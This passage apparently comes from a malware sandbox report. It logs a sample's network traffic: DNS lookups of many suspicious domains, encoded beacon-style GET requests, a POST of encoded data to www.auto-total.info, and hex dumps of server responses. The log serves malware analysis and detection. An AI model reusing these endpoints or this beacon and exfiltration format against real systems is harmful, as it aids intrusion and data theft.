Source: global traffic	HTTP traffic detected: GET /wzfm/?GRyLv=mqtTE78/WoopZudSB6dJGulWdEK42lClhsLyal4t8IRgnkcDKbnOO+sQ/Bz1CVG+UEd/JpoA+895zeDcmdEHhHxhhy01x29oqiNe0WxtJ2W5K1IwirRxmSrtmsTghJb8ZJiETHY=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.erbtechnique.danceConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /uafu/?cR=DjKdNdEH&GRyLv=AJAylv0prHKblvegjbLYh1H9/t4DOCIpUG3Q8Ms+3Kik+B/Cq2FNhx68JLxTn5CvCjINpjimZGi5EgQwttd08q8QbRunAc09j9NkGmiF25wLGe/MvGAPdRsg8hPOqfMOroe6Thk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.loyalists.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /dwz6/?GRyLv=VjCN5K9s6HbwQ2Wb+0UgGkNz99eBDN4TDa7y3kDPRqs86I7qNkS8dTCd5d+kG1CylRgcFGdcrmXmzc66pErqT5HRGVr5TsM7xcGUvFJ9RywmZ8h7/zidpeeAT16BPw+5FGIJNnk=&cR=DjKdNdEH HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.progressreport.sbsConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /5mkg/?cR=DjKdNdEH&GRyLv=JEZVJ3XjDPSTvVRYI38mZBcftzE/BYVkma4voDmU3dHswTwWf+ULfmGiVuM8Ki9BDlfa3EIL0VGGhrW0Kojyg+acPfXc/wshC4y0dPK5T2BJsPY8YKeRFeQSWdrQWEyH04NYGnU= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enHost: www.flashselectionhub.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.whalegamefi.xyz
Source: global traffic	DNS traffic detected: DNS query: www.auto-total.info
Source: global traffic	DNS traffic detected: DNS query: www.51-clubb.net
Source: global traffic	DNS traffic detected: DNS query: www.tropicus.xyz
Source: global traffic	DNS traffic detected: DNS query: www.akfix-msk.store
Source: global traffic	DNS traffic detected: DNS query: www.quanow.xyz
Source: global traffic	DNS traffic detected: DNS query: www.erovoice.pics
Source: global traffic	DNS traffic detected: DNS query: www.admiralbet365.lol
Source: global traffic	DNS traffic detected: DNS query: www.boa-first-option.click
Source: global traffic	DNS traffic detected: DNS query: www.erbtechnique.dance
Source: global traffic	DNS traffic detected: DNS query: www.loyalists.net
Source: global traffic	DNS traffic detected: DNS query: www.progressreport.sbs
Source: global traffic	DNS traffic detected: DNS query: www.flashselectionhub.shop
Source: global traffic	DNS traffic detected: DNS query: www.auctionringer.online

Source: unknown

HTTP traffic detected: POST /bt6e/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enHost: www.auto-total.infoOrigin: http://www.auto-total.infoContent-Length: 210Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheReferer: http://www.auto-total.info/bt6e/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36Data Raw: 47 52 79 4c 76 3d 4f 45 75 57 65 66 68 78 4e 53 2f 62 64 75 62 37 35 47 61 41 33 38 71 36 72 71 76 50 56 55 6a 44 6a 71 36 79 37 6d 6b 56 41 45 6f 50 5a 50 72 67 4a 61 6d 37 52 45 78 50 49 68 69 63 70 39 31 4e 39 68 4c 31 32 58 6f 33 68 37 38 66 6d 67 46 6f 5a 6e 34 6f 58 2b 44 36 4d 64 75 6c 49 52 35 69 57 43 4b 32 55 64 59 72 51 57 65 4d 30 59 32 77 74 7a 54 6e 35 2f 69 37 79 4a 4b 31 67 47 77 6b 38 6b 59 72 7a 59 78 52 44 6e 61 73 73 45 65 64 33 6a 65 47 61 2f 61 69 31 39 75 6c 4e 41 2f 65 6c 6d 36 47 39 30 72 7a 6b 6b 53 48 41 57 33 41 31 37 51 5a 65 6c 68 48 68 4f 53 56 69 77 59 57 2b 42 66 73 38 37 39 44 55 58 39 63 Data Ascii: GRyLv=OEuWefhxNS/bdub75GaA38q6rqvPVUjDjq6y7mkVAEoPZPrgJam7RExPIhicp91N9hL12Xo3h78fmgFoZn4oX+D6MdulIR5iWCK2UdYrQWeM0Y2wtzTn5/i7yJK1gGwk8kYrzYxRDnassEed3jeGa/ai19ulNA/elm6G90rzkkSHAW3A17QZelhHhOSViwYW+Bfs879DUX9c

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 04:27:44 GMTServer: ApacheX-Powered-By: PHP/8.2.27Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://51-clubb.net/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brCache-Control: s-maxage=2592000Content-Length: 10848Content-Type: text/html; charset=UTF-8Data Raw: 13 05 cc cc 48 4e 5a 7b 08 68 06 8e eb b1 ce fb cf f7 55 fb 6f e9 e7 eb 18 9e 5a 84 03 80 00 f8 14 19 2a 49 ed a4 eb 69 dc f4 c6 c9 ee cc 5a be 1e 88 04 25 d8 14 c9 25 20 4b 0a cb bf 37 d3 b2 2e 23 79 27 e3 5d 90 1a 77 ce 65 32 ce 84 e4 33 ff d7 b6 99 29 f5 00 e0 69 86 a6 6a 40 62 af 00 1a 15 40 73 e7 ff 7f df 74 4f 4f 83 b0 dc 05 b9 ce 7b 2e 25 1f 2b 89 bd 0b 93 21 2f c1 2a e2 65 4a f5 18 aa ed ce eb f6 0d 22 2a 20 a2 26 ed fc 31 f4 ed 6c f7 1f 33 51 c4 19 79 12 da 9e 8a 4c ed f9 6c 9f 12 29 0f 1b 88 9d 6e 26 c3 e5 fa 32 53 34 04 bc 40 8f ce c7 08 18 5b cd 4b 0d 0a e9 80 02 e9 16 41 11 3d 4a 81 ba 6d 06 3b e7 7a f1 f9 4b 76 db 9e ed b5 df da cb 05 10 f6 61 18 59 f7 6f 2d 10 5b a8 ad 54 21 8a 93 2a 88 56 3a 46 c5 40 41 d7 38 81 d2 a0 da 1f 2f 04 2e cc cc 73 ae cc 7e 9b 19 eb 3d 5a f3 4b db 02 2d e3 38 00 81 79 22 10 9a fd ff 63 42 1e 7b 18 c6 b4 1e 5d 99 96 9a d6 0d a6 b5 a6 14 89 19 9d 41 c0 57 da f4 40 44 bf 6a 91 e8 cc 67 cc cd 4d 56 15 6e 4f fe 87 c1 b7 de 99 bd f9 c5 a6 2f 05 9b 33 7c 57 ed 2b dc 2b b7 03 5a 32 67 0d f7 93 7b e5 76 ec 00 12 6a f3 b1 5c d8 54 47 93 04 da ae 4e eb d0 22 4e 9b 29 b0 2e ab 3a 2a 8a 08 96 89 2b 46 8d 13 06 ae f7 ef de 52 e3 d0 03 ff 5d 0d fe ea 1c dc 10 fd bf 45 40 21 12 70 d3 1c 36 38 9c 2c e4 88 46 45 c0 7a 26 c9 a4 c4 8c c2 1c 9c 3e 33 2d 69 25 bf e8 b1 49 16 90 c0 c5 7c 3b fb 63 24 ca 28 dc de 42 21 2e 29 90 ac 74 9b ea 9d f2 d5 e2 03 35 9d d0 c7 8c aa cb 19 b4 1a d1 47 bc e3 27 d7 00 02 43 10 00 2e 51 9a 42 04 7d 3c aa c0 1c 94 3d 8e e8 63 35 4d 64 e8 58 83 f0 b6 d8 54 51 bb 91 a0 74 a5 1b e5 39 71 d9 03 62 41 b7 b3 02 2e 08 d2 d6 fb 3f 59 94 3d c6 e6 8c 22 03 72 e6 d6 3c 4d 24 d1 fe 7f f4 e6 a1 0c 02 2e ac 36 6e 17 44 d0 61 68 20 9d 34 19 ba eb a8 b3 31 5b fb 26 82 4c ab c0 0a Data Ascii: HNZ{hUoZ*IiZ%% K7.#y']we23)ij@b@stOO{.%+!/*eJ"* &1l3QyLl)n&2S4@[KA=Jm;zKvaYo-[T!*V:F@A8/.s~=ZK-8y"cB{]AW@DjgMVnO/3|W++Z2g{vj\TGN"N).:*+FR]E@!p68,FEz&>3-i%I|;c$(B!.)t5G'C.QB}<=c5MdXTQt9qbA.?Y="r<M$.6nDah 41[&L
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 04:27:47 GMTServer: ApacheX-Powered-By: PHP/8.2.27Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://51-clubb.net/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brCache-Control: s-maxage=2592000Content-Length: 10848Content-Type: text/html; charset=UTF-8Data Raw: 13 05 cc cc 48 4e 5a 7b 08 68 06 8e eb b1 ce fb cf f7 55 fb 6f e9 e7 eb 18 9e 5a 84 03 80 00 f8 14 19 2a 49 ed a4 eb 69 dc f4 c6 c9 ee cc 5a be 1e 88 04 25 d8 14 c9 25 20 4b 0a cb bf 37 d3 b2 2e 23 79 27 e3 5d 90 1a 77 ce 65 32 ce 84 e4 33 ff d7 b6 99 29 f5 00 e0 69 86 a6 6a 40 62 af 00 1a 15 40 73 e7 ff 7f df 74 4f 4f 83 b0 dc 05 b9 ce 7b 2e 25 1f 2b 89 bd 0b 93 21 2f c1 2a e2 65 4a f5 18 aa ed ce eb f6 0d 22 2a 20 a2 26 ed fc 31 f4 ed 6c f7 1f 33 51 c4 19 79 12 da 9e 8a 4c ed f9 6c 9f 12 29 0f 1b 88 9d 6e 26 c3 e5 fa 32 53 34 04 bc 40 8f ce c7 08 18 5b cd 4b 0d 0a e9 80 02 e9 16 41 11 3d 4a 81 ba 6d 06 3b e7 7a f1 f9 4b 76 db 9e ed b5 df da cb 05 10 f6 61 18 59 f7 6f 2d 10 5b a8 ad 54 21 8a 93 2a 88 56 3a 46 c5 40 41 d7 38 81 d2 a0 da 1f 2f 04 2e cc cc 73 ae cc 7e 9b 19 eb 3d 5a f3 4b db 02 2d e3 38 00 81 79 22 10 9a fd ff 63 42 1e 7b 18 c6 b4 1e 5d 99 96 9a d6 0d a6 b5 a6 14 89 19 9d 41 c0 57 da f4 40 44 bf 6a 91 e8 cc 67 cc cd 4d 56 15 6e 4f fe 87 c1 b7 de 99 bd f9 c5 a6 2f 05 9b 33 7c 57 ed 2b dc 2b b7 03 5a 32 67 0d f7 93 7b e5 76 ec 00 12 6a f3 b1 5c d8 54 47 93 04 da ae 4e eb d0 22 4e 9b 29 b0 2e ab 3a 2a 8a 08 96 89 2b 46 8d 13 06 ae f7 ef de 52 e3 d0 03 ff 5d 0d fe ea 1c dc 10 fd bf 45 40 21 12 70 d3 1c 36 38 9c 2c e4 88 46 45 c0 7a 26 c9 a4 c4 8c c2 1c 9c 3e 33 2d 69 25 bf e8 b1 49 16 90 c0 c5 7c 3b fb 63 24 ca 28 dc de 42 21 2e 29 90 ac 74 9b ea 9d f2 d5 e2 03 35 9d d0 c7 8c aa cb 19 b4 1a d1 47 bc e3 27 d7 00 02 43 10 00 2e 51 9a 42 04 7d 3c aa c0 1c 94 3d 8e e8 63 35 4d 64 e8 58 83 f0 b6 d8 54 51 bb 91 a0 74 a5 1b e5 39 71 d9 03 62 41 b7 b3 02 2e 08 d2 d6 fb 3f 59 94 3d c6 e6 8c 22 03 72 e6 d6 3c 4d 24 d1 fe 7f f4 e6 a1 0c 02 2e ac 36 6e 17 44 d0 61 68 20 9d 34 19 ba eb a8 b3 31 5b fb 26 82 4c ab c0 0a Data Ascii: HNZ{hUoZ*IiZ%% K7.#y']we23)ij@b@stOO{.%+!/*eJ"* &1l3QyLl)n&2S4@[KA=Jm;zKvaYo-[T!*V:F@A8/.s~=ZK-8y"cB{]AW@DjgMVnO/3|W++Z2g{vj\TGN"N).:*+FR]E@!p68,FEz&>3-i%I|;c$(B!.)t5G'C.QB}<=c5MdXTQt9qbA.?Y="r<M$.6nDah 41[&L
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 04:27:50 GMTServer: ApacheX-Powered-By: PHP/8.2.27Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://51-clubb.net/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brCache-Control: s-maxage=2592000Content-Length: 10848Content-Type: text/html; charset=UTF-8Data Raw: 13 05 cc cc 48 4e 5a 7b 08 68 06 8e eb b1 ce fb cf f7 55 fb 6f e9 e7 eb 18 9e 5a 84 03 80 00 f8 14 19 2a 49 ed a4 eb 69 dc f4 c6 c9 ee cc 5a be 1e 88 04 25 d8 14 c9 25 20 4b 0a cb bf 37 d3 b2 2e 23 79 27 e3 5d 90 1a 77 ce 65 32 ce 84 e4 33 ff d7 b6 99 29 f5 00 e0 69 86 a6 6a 40 62 af 00 1a 15 40 73 e7 ff 7f df 74 4f 4f 83 b0 dc 05 b9 ce 7b 2e 25 1f 2b 89 bd 0b 93 21 2f c1 2a e2 65 4a f5 18 aa ed ce eb f6 0d 22 2a 20 a2 26 ed fc 31 f4 ed 6c f7 1f 33 51 c4 19 79 12 da 9e 8a 4c ed f9 6c 9f 12 29 0f 1b 88 9d 6e 26 c3 e5 fa 32 53 34 04 bc 40 8f ce c7 08 18 5b cd 4b 0d 0a e9 80 02 e9 16 41 11 3d 4a 81 ba 6d 06 3b e7 7a f1 f9 4b 76 db 9e ed b5 df da cb 05 10 f6 61 18 59 f7 6f 2d 10 5b a8 ad 54 21 8a 93 2a 88 56 3a 46 c5 40 41 d7 38 81 d2 a0 da 1f 2f 04 2e cc cc 73 ae cc 7e 9b 19 eb 3d 5a f3 4b db 02 2d e3 38 00 81 79 22 10 9a fd ff 63 42 1e 7b 18 c6 b4 1e 5d 99 96 9a d6 0d a6 b5 a6 14 89 19 9d 41 c0 57 da f4 40 44 bf 6a 91 e8 cc 67 cc cd 4d 56 15 6e 4f fe 87 c1 b7 de 99 bd f9 c5 a6 2f 05 9b 33 7c 57 ed 2b dc 2b b7 03 5a 32 67 0d f7 93 7b e5 76 ec 00 12 6a f3 b1 5c d8 54 47 93 04 da ae 4e eb d0 22 4e 9b 29 b0 2e ab 3a 2a 8a 08 96 89 2b 46 8d 13 06 ae f7 ef de 52 e3 d0 03 ff 5d 0d fe ea 1c dc 10 fd bf 45 40 21 12 70 d3 1c 36 38 9c 2c e4 88 46 45 c0 7a 26 c9 a4 c4 8c c2 1c 9c 3e 33 2d 69 25 bf e8 b1 49 16 90 c0 c5 7c 3b fb 63 24 ca 28 dc de 42 21 2e 29 90 ac 74 9b ea 9d f2 d5 e2 03 35 9d d0 c7 8c aa cb 19 b4 1a d1 47 bc e3 27 d7 00 02 43 10 00 2e 51 9a 42 04 7d 3c aa c0 1c 94 3d 8e e8 63 35 4d 64 e8 58 83 f0 b6 d8 54 51 bb 91 a0 74 a5 1b e5 39 71 d9 03 62 41 b7 b3 02 2e 08 d2 d6 fb 3f 59 94 3d c6 e6 8c 22 03 72 e6 d6 3c 4d 24 d1 fe 7f f4 e6 a1 0c 02 2e ac 36 6e 17 44 d0 61 68 20 9d 34 19 ba eb a8 b3 31 5b fb 26 82 4c ab c0 0a Data Ascii: HNZ{hUoZ*IiZ%% K7.#y']we23)ij@b@stOO{.%+!/*eJ"* &1l3QyLl)n&2S4@[KA=Jm;zKvaYo-[T!*V:F@A8/.s~=ZK-8y"cB{]AW@DjgMVnO/3|W++Z2g{vj\TGN"N).:*+FR]E@!p68,FEz&>3-i%I|;c$(B!.)t5G'C.QB}<=c5MdXTQt9qbA.?Y="r<M$.6nDah 41[&L
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-reuseport/1.21.1Date: Fri, 28 Mar 2025 04:28:11 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 65 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6e c2 30 10 44 ef f9 8a 2d a7 f6 80 37 45 41 ea c1 b2 d4 92 20 90 52 1a 15 e7 c0 d1 ad 17 39 02 e2 60 9b 86 fe 7d 9d a0 4a 5c 56 9a dd b7 a3 19 fe 90 7f 2c e4 ae 2a 60 25 df 4b a8 ea b7 72 bd 80 c9 14 71 5d c8 25 62 2e f3 db 65 c6 52 c4 62 33 11 09 37 e1 74 14 dc 90 d2 51 84 26 1c 49 64 69 06 1b 1b 60 69 2f ad e6 78 5b 26 1c 47 88 7f 59 fd 3b fc 3d 8b 3b 26 aa 84 77 42 1a 02 47 e7 0b f9 40 1a ea cf 12 7a e5 a1 8d dc 7e e0 c0 b6 10 4c e3 c1 93 fb 21 c7 38 76 83 93 8b 43 69 ed c8 7b f1 da a9 6f 43 38 63 19 9b cf e1 b1 6e 9b eb 13 6c 47 1c 54 80 be ef 99 3a ec 9b eb f4 e4 0f cc 07 eb 08 2a eb 02 bc a4 1c ff 3d 62 d4 31 64 8c 35 94 4b fe 00 32 4e 83 e0 17 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ecMn0D-7EA R9`}J\V,*`%Krq]%b.eRb37tQ&Idi`i/x[&GY;=;&wBG@z~L!8vCi{oC8cnlGT:*=b1d5K2N0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-reuseport/1.21.1Date: Fri, 28 Mar 2025 04:28:14 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 65 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6e c2 30 10 44 ef f9 8a 2d a7 f6 80 37 45 41 ea c1 b2 d4 92 20 90 52 1a 15 e7 c0 d1 ad 17 39 02 e2 60 9b 86 fe 7d 9d a0 4a 5c 56 9a dd b7 a3 19 fe 90 7f 2c e4 ae 2a 60 25 df 4b a8 ea b7 72 bd 80 c9 14 71 5d c8 25 62 2e f3 db 65 c6 52 c4 62 33 11 09 37 e1 74 14 dc 90 d2 51 84 26 1c 49 64 69 06 1b 1b 60 69 2f ad e6 78 5b 26 1c 47 88 7f 59 fd 3b fc 3d 8b 3b 26 aa 84 77 42 1a 02 47 e7 0b f9 40 1a ea cf 12 7a e5 a1 8d dc 7e e0 c0 b6 10 4c e3 c1 93 fb 21 c7 38 76 83 93 8b 43 69 ed c8 7b f1 da a9 6f 43 38 63 19 9b cf e1 b1 6e 9b eb 13 6c 47 1c 54 80 be ef 99 3a ec 9b eb f4 e4 0f cc 07 eb 08 2a eb 02 bc a4 1c ff 3d 62 d4 31 64 8c 35 94 4b fe 00 32 4e 83 e0 17 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ecMn0D-7EA R9`}J\V,*`%Krq]%b.eRb37tQ&Idi`i/x[&GY;=;&wBG@z~L!8vCi{oC8cnlGT:*=b1d5K2N0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-reuseport/1.21.1Date: Fri, 28 Mar 2025 04:28:17 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 65 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6e c2 30 10 44 ef f9 8a 2d a7 f6 80 37 45 41 ea c1 b2 d4 92 20 90 52 1a 15 e7 c0 d1 ad 17 39 02 e2 60 9b 86 fe 7d 9d a0 4a 5c 56 9a dd b7 a3 19 fe 90 7f 2c e4 ae 2a 60 25 df 4b a8 ea b7 72 bd 80 c9 14 71 5d c8 25 62 2e f3 db 65 c6 52 c4 62 33 11 09 37 e1 74 14 dc 90 d2 51 84 26 1c 49 64 69 06 1b 1b 60 69 2f ad e6 78 5b 26 1c 47 88 7f 59 fd 3b fc 3d 8b 3b 26 aa 84 77 42 1a 02 47 e7 0b f9 40 1a ea cf 12 7a e5 a1 8d dc 7e e0 c0 b6 10 4c e3 c1 93 fb 21 c7 38 76 83 93 8b 43 69 ed c8 7b f1 da a9 6f 43 38 63 19 9b cf e1 b1 6e 9b eb 13 6c 47 1c 54 80 be ef 99 3a ec 9b eb f4 e4 0f cc 07 eb 08 2a eb 02 bc a4 1c ff 3d 62 d4 31 64 8c 35 94 4b fe 00 32 4e 83 e0 17 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ecMn0D-7EA R9`}J\V,*`%Krq]%b.eRb37tQ&Idi`i/x[&GY;=;&wBG@z~L!8vCi{oC8cnlGT:*=b1d5K2N0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx-reuseport/1.21.1Date: Fri, 28 Mar 2025 04:28:20 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 279Connection: closeVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 35 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 61 6b 66 69 78 2d 6d 73 6b 2e 73 74 6f 72 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.55 (Unix) Server at www.akfix-msk.store Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 04:28:25 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 04:28:28 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 04:28:31 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 